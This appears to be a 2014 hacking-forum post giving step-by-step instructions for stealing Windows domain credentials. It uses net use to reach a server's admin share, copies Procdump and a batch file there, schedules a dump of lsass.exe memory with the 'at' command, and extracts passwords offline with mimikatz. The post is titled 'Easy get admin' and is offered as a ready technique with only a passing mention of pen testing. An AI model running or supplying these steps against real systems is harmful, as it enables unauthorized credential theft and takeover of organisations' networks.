+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: dump lsass of target server Easy get admin (/showthread.php?tid=4228938)
dump lsass of target server Easy get admin - mudasir007 - May 14, 2014
Dump Lsass of target server
Here Targetserver is windows server 2003 0r 2008 here Lsass.exe verifies users logging on to a Windows computer or server, handles password changes
you need to at least have user privileges to connect to the admin share on the box through net use command,with this what you do is you gain Domain Credentials from user.can be very helpful in pen testing
1 use net use command to connect to target server
2 copy Procdump.exe (From sysinternal) to \\targetserver\c$
3 copy procdump.bat to \\targetserver\c$
4 use these commands in bat file procdump.exe -ma lsass.exe
5 at \\targetserver 13:37 c:\procdump.bat
Use mimkatz at home to get password from lsass
Game over🤭